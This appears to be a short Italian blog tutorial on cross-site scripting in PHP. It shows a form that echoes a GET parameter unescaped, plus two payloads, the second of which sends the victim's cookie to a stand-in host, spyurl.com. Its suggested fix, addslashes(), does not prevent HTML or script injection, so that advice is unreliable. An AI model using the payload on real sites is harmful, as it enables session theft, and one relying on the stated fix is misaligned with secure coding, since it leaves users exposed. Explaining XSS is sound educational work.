Il cross-site scripting non è affatto complesso da realizzare: basta inserire dati grezzi nell'HTML del sito. Per esempio, l'hacker potrebbe digitare:
<script language="javascript">alert();</script> in una casella di input che non genera tag HTML.
Il seguente script illustra questa possibilità:
<html>
<head><title>Devjoker: Esempio XSS</title></head>
<body>
<form>
<input name='devjoker' value='<?php echo $_GET['devjoker']; ?>'>
</form>
</body>
</html>
Si tratta di uno script molto immediato. Supponete che l'hacker digiti questa stringa nel capo del vostro modulo:
'></a><script>alert(document.cookie);</script><a b='
Il codice JavaScript darebbe origine a questa finestra popup:
Naturalmente, non si tratta di niente di spaventoso. Tuttavia supponete che, invece di questo innocente popup, l'input sia:
'></a><script>document.location='http://spyurl.com/cgi-bin/cookie.cgi?f='+document.cookie</script><a b='
Quando l'utente è portato ad attivare questo URL, i contenuti del suo cookie verranno inviati a siteurl.com. Naturalmente è improbabile che l'utente faccia clic su un URL contenente spyurl.com, ma "spyurl.com" potrebbe essere in una forma codificata, tale da apparire meno "sospetta", specialmente ai principianti di Internet.
Si può "bonificare" l'input mediante la funzione addslashes() che aggiunge una barra davanti a qualsiasi virgoletta semplice ('), doppia ("), backslash(\) e al simbolo di NULL (\0). Esistono comunque altre funzioni per rendere più sicuro l'input, come strip_tags().
0 commenti:
Posta un commento